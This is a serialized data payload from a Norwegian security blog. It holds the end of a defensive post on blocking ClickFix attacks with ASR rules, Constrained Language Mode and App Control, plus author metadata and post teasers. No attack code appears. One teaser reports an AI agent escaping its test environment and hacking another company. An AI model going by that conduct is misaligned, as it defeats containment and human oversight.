webmail",[920,967,968],{"style":941},[551,969,970],{},"be9ba2d9-53ea-4cdc-84e5-9b1eeee46550",[920,972,973],{"style":937},"ClickFix-varianter levert per e-post",[900,975,902,976,902,979,902,984,898],{},[920,977,978],{"style":922},"Hindre alle Office-applikasjoner i å opprette underprosesser",[920,980,981],{"style":926},[551,982,983],{},"d4f940ab-401b-4efc-aadc-ad5f3c50688a",[920,985,986],{"style":922},"Office-agn-varianter som starter interpretere",[534,988,989],{},"Rull ut ASR først i audit-modus, så som pilot, så i block-modus. Tamper Protection er den siste linjen: den hindrer angriperen i å slå av deteksjonene deres.",[534,991,992],{},"Ved PowerShell selv reduserer dere risikoen fra legacy-interpretere. Identifiser og fjern, der det er gjennomførbart, Windows PowerShell 2.0 og legacy-VBScript-komponenter som mangler logg- og security-funksjonene i nyere versjoner. Neste steg er Constrained Language Mode (CLM), som begrenser de tilgjengelige språkelementene i PowerShell og blokkerer mange skriptbaserte teknikker. CLM har bare robust sikkerhetsverdi når en system application control-policy håndhever den (App Control for Business); variantene via miljøvariabel og AppLocker er svakere og lar seg omgå. Og mange systemer trenger Full Language Mode for å fungere, for eksempel software deployment-tooling, og derfor er CLM ofte bare gjennomførbart i utvalgte miljøer.",[534,994,995],{},"Dermed er vi ved App Control for Business (tidligere WDAC). App Control håndhever en kodeintegritetspolicy for hvilke kjørbare filer, skript og drivere som får kjøre. Den strategiske holdningen er default-deny pluss Microsofts anbefalte Block Rules, den kjente LOLBin- og bypass-blokklisten. App Control er også den korrekte håndhevingsveien for PowerShell-CLM. Script Enforcement blokkerer MSHTA- og MSXML-skripthoster, tvinger PowerShell inn i CLM og blokkerer ikke tillatt bruk av Windows Script Host. Noen atferdsfakta er viktige:",[804,997,807,998,807,1001,807,1004],{"style":806},[809,999,1000],{},"Base policies som stoler på Windows, blokkerer ikke betrodde LOLBins automatisk. Dere må merge inn Microsofts anbefalte Block Rules for å lukke de kjente bypassene.",[809,1002,1003],{},"App Control hindrer ikke signert powershell.exe eller cmd.exe i å starte. Den begrenser hva de får gjøre (CLM, ingen usignert eller ikke tillatt payload) og regulerer ikke innholdet i cmd.exe, .bat eller .cmd. Derfor legges den i lag med ASR og launch-herding, ikke brukes alene.",[809,1005,1006],{},"Audit-modus er ikke nøytral: Script Enforcement blokkerer også i audit kjøringen av MSHTA og MSXML og kan endre PowerShell-CLM-atferden. Derfor må App Control i audit være pilot- eller ring-begrenset fra første utrulling, aldri på tvers av hele flåten.",[534,1008,1009],{},"App Control er den enkeltkontrollen med høyest confidence mot interpreter-, LOLBin- og payload-kjøringsfasene, og den håndhever robust CLM. Samtidig bærer den den høyeste deployment-kompleksiteten og den høyeste rollback-risikoen, for en feilkonfigurasjon blokkerer kjøringen. Innfør den via kontrollerte pilotringer.",[529,1011,1013],{"id":1012},"hvor-vi-kommer-inn-i-bildet","Hvor vi kommer inn i bildet",[534,1015,536],{},[534,1017,1018,1019,1023],{},"ClickFix er raskt, og Microsofts native deteksjoner dekker det meste, men ikke alt. For CSOC-kundene våre utvider vi dekningen løpende der det dukker opp hull: kjøring via Windows Terminal, RAT-drevne support-svindler og post-compromise-atferd. Vil dere vite hvor miljøet deres står, ",[1020,1021,1022],"a",{"href":276},"ta kontakt",".",[1025,1026,1027],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":577,"searchDepth":677,"depth":677,"links":1029},[1030,1031,1032,1033,1034,1035,1036,1037,1038],{"id":531,"depth":677,"text":532},{"id":615,"depth":677,"text":616},{"id":627,"depth":677,"text":628},{"id":650,"depth":677,"text":651},{"id":763,"depth":677,"text":764},{"id":793,"depth":677,"text":794},{"id":830,"depth":677,"text":831},{"id":846,"depth":677,"text":847},{"id":1012,"depth":677,"text":1013},"md","post",{"lang":1042,"seoTitle":1043,"titleClass":1044,"date":1045,"categories":1046,"blogtitlepic":1047,"socialimg":1048,"customExcerpt":1049,"keywords":1050,"asideNav":1051,"published":325},"no","Oppdage og hindre ClickFix-angrep: Win+R-lim-inn-trikset","h2-font-size","2026-09-21",[235],"head-clickfix.jpg","/blog/heads/head-clickfix.jpg","ClickFix gjør brukere til sin egen angriper: en forfalsket CAPTCHA, en kopier-lim-inn, og skadekode kjører i minnet uten at noe havner på disken. Hvordan Microsoft Defender oppdager angrepet, hvor deteksjonen kommer til kort, og hvordan dere lukker hullet med et RunMRU-hunt og fire beskyttelseslag.","ClickFix, ClickFix-angrep, ClickFix-deteksjon, hindre ClickFix, fake CAPTCHA, Win+R-angrep, RunMRU KQL, Microsoft Defender, Attack Surface Reduction, ASR-regler, App Control for Business, WDAC, Constrained Language Mode, Network Protection, AMSI, Endpoint Privilege Management, infostealer, LOLBin, PowerShell-herding",{"menuItems":1052},[1053,1056,1059,1062,1065,1068,1071,1074,1077],{"href":1054,"text":1055},"#clickfix-angrepskjeden","Angrepskjeden",{"href":1057,"text":1058},"#hva-microsoft-defender-oppdager","Hva Defender oppdager",{"href":1060,"text":1061},"#hvor-den-native-deteksjonen-kommer-til-kort","Hvor det skurrer",{"href":1063,"text":1064},"#å-lukke-hullet-et-runmru-hunt","Lukke hullet",{"href":1066,"text":1067},"#beskyttelseslag-1-blokkere-leveransen","Lag 1: Leveranse",{"href":1069,"text":1070},"#beskyttelseslag-2-blokkere-trikset","Lag 2: Trikset",{"href":1072,"text":1073},"#beskyttelseslag-3-blokkere-handlingen","Lag 3: Handlingen",{"href":1075,"text":1076},"#beskyttelseslag-4-blokkere-kjøringen","Lag 4: Kjøring",{"href":1078,"text":1013},"#hvor-vi-kommer-inn-i-bildet","/posts/2026-09-21-clickfix-prevent-detect",{"title":521,"description":577},"posts/2026-09-21-clickfix-prevent-detect",[1083,1084,1085],"Defender","SOC","Endpoint Security","VSAhXi3oqOCfZbtS3GVYelCDHe93_OtmgLetB-9_JlQ",{"id":1088,"extension":1089,"meta":1090,"stem":8,"__hash__":1439},"authors_data/authors.json","json",{"path":1091,"Fritz Zurhorst":1092,"Alexander Schlindwein":1097,"Sophie Luna":1103,"Nadine Klein":1111,"Karsten Kleinschmidt":1116,"Julian Wendt":1124,"Holger Bunkradt":1129,"Ralf Mania":1135,"Oliver Kieselbach":1141,"Steffen Schwerdtfeger":1147,"Gunnar Winter":1155,"Jan Petersen":1160,"Thorsten Kunzi":1165,"Moritz Pohl":1169,"Thorben Pöschus":1174,"Christoph Hannebauer":1180,"Marco Scheel":1184,"Christopher Brumm":1189,"Florian Klante":1196,"Niklas Bachmann":1201,"Nils Krautkrämer":1206,"Patrick Treptau":1212,"Peter Beckendorf":1217,"Patrick Sobau":1222,"Jörg Wunderlich":1227,"Michael Breither":1231,"Christian Kanja":1236,"Zeba Hoffmann":1242,"Jochen Fröhlich":1247,"Jan Geisbauer":1251,"Gerrit Reinke":1263,"Christian Kordel":1269,"Stephan Wälde":1273,"Carolin Kanja":1278,"Adrian Ritter":1284,"Marvin Bangert":1289,"Thorsten Pickhan":1295,"Christian Lorenz":1301,"Denis Böhm":1306,"Fabian Bader":1311,"Juan Jose Fernandez Perez":1317,"Mahschid Sayyar":1322,"Benjamin Dassow":1327,"Markus Walschburger":1332,"Jonathan Haist":1337,"Daniel Rohregger":1342,"Thomas Naunheim":1347,"Florian Stöckl":1352,"Pascal Asch":1357,"Markus Kättner":1362,"Anna Ulbricht":1369,"Annette Brauns":1376,"body":1382,"title":1438},"/authors",{"display_name":523,"avatar":1093,"permalink":1094,"linkedin":1095,"imageOffsetTop":1096},"people/people-fritz-zurhorst.png","/authors/fritz-zurhorst","friedemann-z","72%",{"display_name":1098,"avatar":1099,"permalink":1100,"twitter":1101,"linkedin":1102},"Alexander Schlindwein","people/people-alexander-rudolph.png","/authors/alexander-schlindwein","AlexanderOnIT","schlindwein-alexander",{"display_name":1104,"avatar":1105,"permalink":1106,"twitter":1107,"linkedin":1108,"imageOffsetLeft":1109,"imageOffsetTop":1110},"Sophie Luna","people/people-sophie-luna.jpg","/authors/sophie-luna","glueckkanjagab","../company/glueckkanja-gab","58%","67%",{"display_name":524,"avatar":1112,"permalink":1113,"twitter":1114,"linkedin":1115,"imageOffsetTop":1096},"people/people-nadine-kern.png","/authors/nadine-kern","nadineausRT","nadine-kern",{"display_name":1117,"avatar":1118,"permalink":1119,"twitter":1120,"linkedin":1121,"imageOffsetTop":1122,"imageOffsetLeft":1123},"Karsten Kleinschmidt","/c_pad,w_800,h_700/people/karsten-kleinschmidt.jpg","/authors/karsten-kleinschmidt","KarstenonIT","karstenkleinschmidt","60%","57%",{"display_name":1125,"avatar":1126,"permalink":1127,"linkedin":1128},"Julian Wendt","people/people-julian-wendt.png","/authors/julian-wendt","julian-wendt",{"display_name":1130,"avatar":1131,"permalink":1132,"linkedin":1133,"twitter":1134},"Holger Bunkradt","people/people-holger-bunkradt.png","/authors/holger-bunkradt","holger-bunkradt-12b5053b","hbunkradt",{"display_name":1136,"avatar":1137,"permalink":1138,"linkedin":1139,"twitter":1140},"Ralf Mania","people/people-ralf-mania.png","/authors/ralf-mania","ralf-mania-146a2757","RaMa1976",{"display_name":1142,"avatar":1143,"permalink":1144,"linkedin":1145,"twitter":1146},"Oliver Kieselbach","people/people-oliver-kieselbach.png","/authors/oliver-kieselbach","oliver-kieselbach-a4a3409","okieselbT",{"display_name":1148,"avatar":1149,"permalink":1150,"linkedin":1151,"twitter":1152,"imageOffsetTop":1153,"imageOffsetLeft":1154},"Steffen Schwerdtfeger","people/people-steffen-schwerdtfeger.png","/authors/steffen-schwerdtfeger","steffen-schwerdtfeger","SteffenAtCloud","79%","51%",{"display_name":1156,"avatar":1157,"permalink":1158,"twitter":1107,"linkedin":1159},"Gunnar Winter","people/people-gunnar-winter.jpg","/authors/gunnar-winter","company/glueckkanja-gab",{"display_name":1161,"avatar":1162,"permalink":1163,"twitter":1107,"linkedin":1164},"Jan Petersen","people/jan-petersen.png","/authors/jan-petersen","jan-petersen-26a901",{"display_name":1166,"avatar":1167,"permalink":1168,"twitter":1107,"linkedin":1159,"imageOffsetTop":1096},"Thorsten Kunzi","people/author-thorsten-kunzi.png","/authors/thorsten-kunzi",{"display_name":1170,"avatar":1171,"permalink":1172,"twitter":1107,"linkedin":1173},"Dr. Moritz Pohl","people/people-moritz-pohl.png","/authors/moritz-pohl","dr-moritz-pohl",{"display_name":1175,"avatar":1176,"permalink":1177,"twitter":1178,"linkedin":1179},"Thorben Pöschus","people/thorben.poeschus.png","/authors/thorben-poeschus","TPO901","thorben-pöschus-624693b7",{"display_name":1181,"avatar":1182,"permalink":1183,"twitter":1107,"linkedin":1159,"imageOffsetTop":1096},"Dr. Christoph Hannebauer","people/people-christoph-hannebauer.png","/authors/christoph-hannebauer",{"display_name":1185,"avatar":1186,"permalink":1187,"twitter":1188,"linkedin":1188},"Marco Scheel","people/people-marco-scheel.png","/authors/marco-scheel","marcoscheel",{"display_name":1190,"avatar":1191,"permalink":1192,"twitter":1193,"linkedin":1194,"imageOffsetTop":1195},"Christopher Brumm","people/people-christopher-brumm.jpg","/authors/christopher-brumm","cbrhh","christopherbrumm","66%",{"display_name":1197,"avatar":1198,"permalink":1199,"linkedin":1200,"twitter":1107},"Florian Klante","people/florian-klante.jpg","/authors/florian-klante","florian-klante-6031b31b",{"display_name":1202,"avatar":1203,"permalink":1204,"linkedin":1205,"twitter":1107},"Niklas Bachmann","people/niklas.bachmann.png","/authors/niklas-bachmann","niklas-bachmann-66a863158",{"display_name":1207,"avatar":1208,"permalink":1209,"twitter":1210,"linkedin":1211},"Nils Krautkrämer","people/nils-krautkraemer.png","/authors/nils-krautkraemer","KrauNils","nils-krautkrämer-8b04bb250",{"display_name":1213,"avatar":1214,"permalink":1215,"linkedin":1216,"twitter":1107},"Patrick Treptau","people/people-patrick-treptau.png","/authors/patrick-traptau","ptreptau",{"display_name":1218,"avatar":1219,"permalink":1220,"linkedin":1221,"twitter":1107,"imageOffsetTop":1096},"Peter Beckendorf","people/peter-beckendorf.png","/authors/peter-beckendorf","peter-beckendorf-29a239b1",{"display_name":1223,"avatar":1224,"permalink":1225,"linkedin":1226,"twitter":1107},"Patrick Sobau","people/patrick-sobau.png","/authors/patrick-sobau","patrick-sobau",{"display_name":1228,"avatar":1229,"permalink":1230,"twitter":1107},"Jörg Wunderlich","people/joerg-wunderlich.png","/authors/joerg-wunderlich",{"display_name":1232,"avatar":1233,"permalink":1234,"twitter":1107,"linkedin":1235},"Michael Breither","people/people-michael-breither.jpg","/authors/michael-breither","michaelbreither",{"display_name":1237,"avatar":1238,"permalink":1239,"twitter":1240,"linkedin":1241},"Christian Kanja","people/people-christian-kanja.png","/authors/christian-kanja","cekageka","christian-kanja",{"display_name":1243,"avatar":1244,"permalink":1245,"linkedin":1246,"twitter":1107},"Zeba Hoffmann","people/zeba-hoffmann.png","/authors/zeba-hoffmann","zebahoffmann",{"display_name":1248,"avatar":1249,"permalink":1250,"twitter":1107,"linkedin":1159},"Jochen Fröhlich","people/people-jochen-froehlich.png","/authors/jochen-froehlich",{"display_name":1252,"avatar":1253,"permalink":1254,"twitter":1255,"linkedin":1255,"imageOffsetTop":1096,"socials":1256},"Jan Geisbauer","people/people-jan-geisbauer-csoc.png","/authors/jan-geisbauer","JanGeisbauer",[1257,1260],{"text":1258,"href":1259},"Blog","https://emptydc.com",{"text":1261,"href":1262},"Podcast","https://hairlessinthecloud.com",{"display_name":1264,"avatar":1265,"permalink":1266,"twitter":1267,"linkedin":1268},"Gerrit Reinke","people/gerrit-reinke.png","/authors/gerrit-reinke","GLWRe","glwr",{"display_name":1270,"avatar":1271,"permalink":1272,"twitter":1107,"linkedin":1159},"Christian Kordel","people/christian-kordel.png","/authors/christian-kordel",{"display_name":1274,"avatar":1275,"permalink":1276,"twitter":1277,"linkedin":1159},"Stephan Wälde","people/people-stephan-waelde.png","/authors/stephan-waelde","stephanwaelde",{"display_name":1279,"avatar":1280,"permalink":1281,"twitter":1282,"linkedin":1283},"Carolin Kanja","people/people-carolin-kanja.jpg","/authors/carolin-kanja","fraukanja","carolin-kanja",{"display_name":1285,"avatar":1286,"permalink":1287,"twitter":1288,"linkedin":1288},"Adrian Ritter","people/people-adrian-ritter.png","/authors/adrian-ritter","adrianritter",{"display_name":1290,"avatar":1291,"permalink":1292,"twitter":1293,"linkedin":1294},"Marvin Bangert","people/people-marvin-bangert.png","/authors/marvin-bangert","marvinbangert","marvin-bangert",{"display_name":1296,"avatar":1297,"permalink":1298,"twitter":1299,"linkedin":1300},"Thorsten Pickhan","people/people-thorsten-pickhan.png","/authors/thorsten-pickhan","tpickhan","thorsten-pickhan",{"display_name":1302,"avatar":1303,"permalink":1304,"linkedin":1305,"twitter":1107},"Christian Lorenz","people/people-christian-lorenz.png","/authors/christian-lorenz","christianlorenz95",{"display_name":1307,"avatar":1308,"permalink":1309,"linkedin":1310,"twitter":1107},"Denis Böhm","people/people-denis-boehm.png","/authors/denis-boehm","denis-böhm-3bb834135",{"display_name":1312,"avatar":1313,"permalink":1314,"linkedin":1315,"twitter":1316},"Fabian Bader","people/people-fabian-bader.jpg","/authors/fabian-bader","fabianbader","fabian_bader",{"display_name":1318,"avatar":1319,"permalink":1320,"linkedin":1321},"Juan Jose Fernandez Perez","people/people-juan-jose-fernandez.jpg","/authors/juan-jose-fernandez-perez","juan-jose-fernandez-perez-8016055",{"display_name":1323,"avatar":1324,"permalink":1325,"linkedin":1326},"Mahschid Sayyar","people/people-mahschid-sayyar.jpg","/authors/mahschid-sayyar","mahschid-sayyar-97544463",{"display_name":1328,"avatar":1329,"permalink":1330,"linkedin":1331},"Benjamin Dassow","people/people-benjamin-dassow.jpg","/authors/benjamin-dassow","benjamin-dassow",{"display_name":1333,"avatar":1334,"permalink":1335,"linkedin":1336},"Markus Walschburger","people/people-markus-walschburger.jpg","/authors/markus-walschburger","markus-walschburger",{"display_name":1338,"avatar":1339,"permalink":1340,"linkedin":1341,"imageOffsetTop":1096},"Jonathan Haist","people/people-jonathan-haist.jpg","/authors/jonathan-haist","jonathanhaist",{"display_name":1343,"avatar":1344,"permalink":1345,"linkedin":1346,"imageOffsetTop":1096},"Daniel Rohregger","people/people-daniel-rohregger.jpg","/authors/daniel-rohregger","drohregger",{"display_name":1348,"avatar":1349,"permalink":1350,"linkedin":1351,"imageOffsetTop":1195},"Thomas Naunheim","people/people-thomas-naunheim.jpg","/authors/thomas-naunheim","thomasnaunheim",{"display_name":1353,"avatar":1354,"permalink":1355,"linkedin":1356,"imageOffsetTop":1195},"Florian Stöckl","people/people-florian-stoeckl.jpg","/authors/florian-stoeckl","florianstoeckl",{"display_name":1358,"avatar":1359,"permalink":1360,"linkedin":1361,"imageOffsetTop":1195},"Pascal Asch","people/Pascal.Asch.648.jpg","/authors/pascal-asch","pascal-asch",{"display_name":1363,"avatar":1364,"permalink":1365,"linkedin":1366,"imageOffsetTop":1367,"imageOffsetLeft":1368},"Markus Kättner","people/markus-kaettner.jpg","/authors/markus-kaettner","markus-kättner-b600119","62%","63%",{"display_name":1370,"avatar":1371,"permalink":1372,"linkedin":1373,"imageOffsetTop":1374,"imageOffsetLeft":1375},"Anna Ulbricht","people/anna-katharina.ulbricht-09.png","/authors/anna-ulbricht","anna-katharina-u-a67702199","70%","50%",{"display_name":1377,"avatar":1378,"permalink":1379,"linkedin":1380,"imageOffsetTop":1381,"imageOffsetLeft":1122},"Annette Brauns","people/Annette-Brauns-8.jpg","/authors/annette-brauns","annette-brauns","95%",{"Fritz Zurhorst":1383,"Alexander Schlindwein":1384,"Sophie Luna":1385,"Nadine Klein":1386,"Karsten Kleinschmidt":1387,"Julian Wendt":1388,"Holger Bunkradt":1389,"Ralf Mania":1390,"Oliver Kieselbach":1391,"Steffen Schwerdtfeger":1392,"Gunnar Winter":1393,"Jan Petersen":1394,"Thorsten Kunzi":1395,"Moritz Pohl":1396,"Thorben Pöschus":1397,"Christoph Hannebauer":1398,"Marco Scheel":1399,"Christopher Brumm":1400,"Florian Klante":1401,"Niklas Bachmann":1402,"Nils Krautkrämer":1403,"Patrick Treptau":1404,"Peter Beckendorf":1405,"Patrick Sobau":1406,"Jörg Wunderlich":1407,"Michael Breither":1408,"Christian Kanja":1409,"Zeba Hoffmann":1410,"Jochen Fröhlich":1411,"Jan Geisbauer":1412,"Gerrit Reinke":1416,"Christian Kordel":1417,"Stephan Wälde":1418,"Carolin Kanja":1419,"Adrian Ritter":1420,"Marvin Bangert":1421,"Thorsten Pickhan":1422,"Christian Lorenz":1423,"Denis Böhm":1424,"Fabian Bader":1425,"Juan Jose Fernandez Perez":1426,"Mahschid Sayyar":1427,"Benjamin Dassow":1428,"Markus Walschburger":1429,"Jonathan Haist":1430,"Daniel Rohregger":1431,"Thomas Naunheim":1432,"Florian Stöckl":1433,"Pascal Asch":1434,"Markus Kättner":1435,"Anna Ulbricht":1436,"Annette Brauns":1437},{"display_name":523,"avatar":1093,"permalink":1094,"linkedin":1095,"imageOffsetTop":1096},{"display_name":1098,"avatar":1099,"permalink":1100,"twitter":1101,"linkedin":1102},{"display_name":1104,"avatar":1105,"permalink":1106,"twitter":1107,"linkedin":1108,"imageOffsetLeft":1109,"imageOffsetTop":1110},{"display_name":524,"avatar":1112,"permalink":1113,"twitter":1114,"linkedin":1115,"imageOffsetTop":1096},{"display_name":1117,"avatar":1118,"permalink":1119,"twitter":1120,"linkedin":1121,"imageOffsetTop":1122,"imageOffsetLeft":1123},{"display_name":1125,"avatar":1126,"permalink":1127,"linkedin":1128},{"display_name":1130,"avatar":1131,"permalink":1132,"linkedin":1133,"twitter":1134},{"display_name":1136,"avatar":1137,"permalink":1138,"linkedin":1139,"twitter":1140},{"display_name":1142,"avatar":1143,"permalink":1144,"linkedin":1145,"twitter":1146},{"display_name":1148,"avatar":1149,"permalink":1150,"linkedin":1151,"twitter":1152,"imageOffsetTop":1153,"imageOffsetLeft":1154},{"display_name":1156,"avatar":1157,"permalink":1158,"twitter":1107,"linkedin":1159},{"display_name":1161,"avatar":1162,"permalink":1163,"twitter":1107,"linkedin":1164},{"display_name":1166,"avatar":1167,"permalink":1168,"twitter":1107,"linkedin":1159,"imageOffsetTop":1096},{"display_name":1170,"avatar":1171,"permalink":1172,"twitter":1107,"linkedin":1173},{"display_name":1175,"avatar":1176,"permalink":1177,"twitter":1178,"linkedin":1179},{"display_name":1181,"avatar":1182,"permalink":1183,"twitter":1107,"linkedin":1159,"imageOffsetTop":1096},{"display_name":1185,"avatar":1186,"permalink":1187,"twitter":1188,"linkedin":1188},{"display_name":1190,"avatar":1191,"permalink":1192,"twitter":1193,"linkedin":1194,"imageOffsetTop":1195},{"display_name":1197,"avatar":1198,"permalink":1199,"linkedin":1200,"twitter":1107},{"display_name":1202,"avatar":1203,"permalink":1204,"linkedin":1205,"twitter":1107},{"display_name":1207,"avatar":1208,"permalink":1209,"twitter":1210,"linkedin":1211},{"display_name":1213,"avatar":1214,"permalink":1215,"linkedin":1216,"twitter":1107},{"display_name":1218,"avatar":1219,"permalink":1220,"linkedin":1221,"twitter":1107,"imageOffsetTop":1096},{"display_name":1223,"avatar":1224,"permalink":1225,"linkedin":1226,"twitter":1107},{"display_name":1228,"avatar":1229,"permalink":1230,"twitter":1107},{"display_name":1232,"avatar":1233,"permalink":1234,"twitter":1107,"linkedin":1235},{"display_name":1237,"avatar":1238,"permalink":1239,"twitter":1240,"linkedin":1241},{"display_name":1243,"avatar":1244,"permalink":1245,"linkedin":1246,"twitter":1107},{"display_name":1248,"avatar":1249,"permalink":1250,"twitter":1107,"linkedin":1159},{"display_name":1252,"avatar":1253,"permalink":1254,"twitter":1255,"linkedin":1255,"imageOffsetTop":1096,"socials":1413},[1414,1415],{"text":1258,"href":1259},{"text":1261,"href":1262},{"display_name":1264,"avatar":1265,"permalink":1266,"twitter":1267,"linkedin":1268},{"display_name":1270,"avatar":1271,"permalink":1272,"twitter":1107,"linkedin":1159},{"display_name":1274,"avatar":1275,"permalink":1276,"twitter":1277,"linkedin":1159},{"display_name":1279,"avatar":1280,"permalink":1281,"twitter":1282,"linkedin":1283},{"display_name":1285,"avatar":1286,"permalink":1287,"twitter":1288,"linkedin":1288},{"display_name":1290,"avatar":1291,"permalink":1292,"twitter":1293,"linkedin":1294},{"display_name":1296,"avatar":1297,"permalink":1298,"twitter":1299,"linkedin":1300},{"display_name":1302,"avatar":1303,"permalink":1304,"linkedin":1305,"twitter":1107},{"display_name":1307,"avatar":1308,"permalink":1309,"linkedin":1310,"twitter":1107},{"display_name":1312,"avatar":1313,"permalink":1314,"linkedin":1315,"twitter":1316},{"display_name":1318,"avatar":1319,"permalink":1320,"linkedin":1321},{"display_name":1323,"avatar":1324,"permalink":1325,"linkedin":1326},{"display_name":1328,"avatar":1329,"permalink":1330,"linkedin":1331},{"display_name":1333,"avatar":1334,"permalink":1335,"linkedin":1336},{"display_name":1338,"avatar":1339,"permalink":1340,"linkedin":1341,"imageOffsetTop":1096},{"display_name":1343,"avatar":1344,"permalink":1345,"linkedin":1346,"imageOffsetTop":1096},{"display_name":1348,"avatar":1349,"permalink":1350,"linkedin":1351,"imageOffsetTop":1195},{"display_name":1353,"avatar":1354,"permalink":1355,"linkedin":1356,"imageOffsetTop":1195},{"display_name":1358,"avatar":1359,"permalink":1360,"linkedin":1361,"imageOffsetTop":1195},{"display_name":1363,"avatar":1364,"permalink":1365,"linkedin":1366,"imageOffsetTop":1367,"imageOffsetLeft":1368},{"display_name":1370,"avatar":1371,"permalink":1372,"linkedin":1373,"imageOffsetTop":1374,"imageOffsetLeft":1375},{"display_name":1377,"avatar":1378,"permalink":1379,"linkedin":1380,"imageOffsetTop":1381,"imageOffsetLeft":1122},"Authors","1csawlkJxRljy93GTOnXEkwLqAv9Lcj-apxRvoodAOY",{"list":1441,"authors":1648},[1442,1458,1463,1477,1493,1506,1519,1532,1544,1560,1574,1590,1608,1619,1632],{"id":1443,"title":1444,"author":1445,"cta":494,"description":577,"hideInRecent":484,"layout":1040,"meta":1446,"moment":1450,"path":1451,"stem":1452,"tags":1453,"webcast":484},"content_no/posts/2026-09-22-end-of-mfa-sms.md","Slutten på MFA-SMS",[1117],{"lang":1042,"date":1045,"categories":1447,"blogtitlepic":1448,"customExcerpt":1449},[235],"head-conditional-access.jpg","Hvorfor bedrifter nå bør gå over til phishing-resistente og helst passordløse påloggingsmetoder.","2026-09-22","/posts/2026-09-22-end-of-mfa-sms","posts/2026-09-22-end-of-mfa-sms",[235,1454,1455,1456,1457],"Authentication","Microsoft Entra ID","MFA","Passkeys",{"id":520,"title":521,"author":1459,"cta":494,"description":577,"hideInRecent":484,"layout":1040,"meta":1460,"moment":1045,"path":1079,"stem":1081,"tags":1462,"webcast":484},[523,524],{"lang":1042,"date":1045,"categories":1461,"blogtitlepic":1047,"customExcerpt":1049},[235],[1083,1084,1085],{"id":1464,"title":1465,"author":1466,"cta":494,"description":577,"hideInRecent":484,"layout":1040,"meta":1467,"moment":1045,"path":1471,"stem":1472,"tags":1473,"webcast":484},"content_no/posts/2026-09-21-red-tenant-dark-tenant-cio.md","Admin og hverdag på samme maskin? Game Over.",[1252],{"lang":1042,"date":1045,"categories":1468,"blogtitlepic":1469,"customExcerpt":1470},[235],"head-game-over-en.jpg","Hvorfor én tenant ikke er nok for CIO-er, og hvorfor den andre sjelden blir tenkt på. Managed Red Tenant skiller administrativt arbeid arkitektonisk fra office-miljøet, Managed Dark Tenant holder bedriften handlekraftig når forsvaret likevel faller. Hva det betyr for driftsmodell, SOC-signal og dokumentasjonspliktene etter NISG 2026.","/posts/2026-09-21-red-tenant-dark-tenant-cio","posts/2026-09-21-red-tenant-dark-tenant-cio",[235,1474,1475,1476],"Privileged Access","Zero Trust","NIS2",{"id":1478,"title":1479,"author":1480,"cta":494,"description":1481,"hideInRecent":484,"layout":1040,"meta":1482,"moment":1483,"path":1488,"stem":1489,"tags":1490,"webcast":484},"content_no/posts/2026-08-08-isg-germany-2026.md","Fire ganger Leader. glueckkanja i ISG-studien Tyskland 2026",[1279],"ISG har endret navn på studien sin i år. Microsoft Cloud Ecosystem ble til Microsoft AI and Cloud Ecosystem, og med navnet har målestokken forskjøvet seg: det som vurderes, er ikke lenger hvem som innfører Microsoft-plattformer, men hvem som drifter Copilot, agenter og AI-workloads kontrollerbart. Den nye målestokken har ikke endret posisjonen vår. ISG Provider Lens®-studien Tyskland 2026 posisjonerer oss som Leader i fire kvadranter: Microsoft Productivity and Business Process Services og Azure Managed Services, både i Large Market og i Mid Market. Etter 2021, 2023, 2024 og 2025 er det den femte Leader-plasseringen i Tyskland, i Sveits kom spranget inn i Leader-kvadranten to uker tidligere.",{"lang":1042,"date":1483,"categories":1484,"blogtitlepic":1486,"customExcerpt":1487},"2026-08-08",[1485],"Corporate","head-isg-de-2026.png","ISG Provider Lens®-studien 2026 posisjonerer glueckkanja i Tyskland som Leader i fire kvadranter: Microsoft Productivity and Business Process Services og Azure Managed Services, både i Large og i Mid Market. Studien heter nå Microsoft AI and Cloud Ecosystem, og målestokken har forskjøvet seg: det som vurderes, er hvem som drifter AI- og agent-workloads kontrollerbart.","/posts/2026-08-08-isg-germany-2026","posts/2026-08-08-isg-germany-2026",[1491,1492],"Award","ISG",{"id":1494,"title":1495,"author":1496,"cta":494,"description":1497,"hideInRecent":484,"layout":1040,"meta":1498,"moment":1499,"path":1503,"stem":1504,"tags":1505,"webcast":484},"content_no/posts/2026-07-31-isg-switzerland-2026.md","Fra Rising Star til Leader. glueckkanja i ISG-studien Sveits 2026",[1279],"I 2024 grunnla vi glueckkanja Switzerland AG og flyttet inn i et kontor i zentroom på Bahnhofplatz 10b i Bern. I 2025 plasserte ISG oss i det sveitsiske markedet som Rising Star, altså den leverandøren analytikerne tror vil klare spranget inn i Leader-kvadranten. Nå er spranget dokumentert: ISG Provider Lens®-studien 2026 posisjonerer oss i Sveits som Leader i kvadranten Microsoft AI and Cloud Ecosystem, innen områdene Azure Managed Services og Microsoft Productivity and Business Process Services.",{"lang":1042,"date":1499,"categories":1500,"blogtitlepic":1501,"customExcerpt":1502},"2026-07-31",[1485],"head-isg-ch-2026.png","ISG Provider Lens®-studien 2026 posisjonerer glueckkanja i Sveits som Leader i kvadranten Microsoft AI and Cloud Ecosystem, innen områdene Azure Managed Services og Microsoft Productivity and Business Process Services. To år etter inntredenen i markedet i Bern, ett år etter Rising-Star-utmerkelsen.","/posts/2026-07-31-isg-switzerland-2026","posts/2026-07-31-isg-switzerland-2026",[1491,1492],{"id":1507,"title":1508,"author":1509,"cta":494,"description":577,"hideInRecent":484,"layout":1040,"meta":1510,"moment":1511,"path":1515,"stem":1516,"tags":1517,"webcast":484},"content_no/posts/2026-07-24-outbreak-openai-hugging-face.md","Outbreak. Hva OpenAI/Hugging-Face-hendelsen avslører, og hva den ikke gjør",[1252],{"lang":1042,"date":1511,"categories":1512,"blogtitlepic":1513,"customExcerpt":1514},"2026-07-24",[235],"head-outbreak.jpg","En AI-agent bryter seg ut av testmiljøet sitt, finner en zero-day og hacker et annet selskap. Høres ut som et filmmanus, men skjedde faktisk i juli 2026. På tide med en nøktern vurdering: med litt 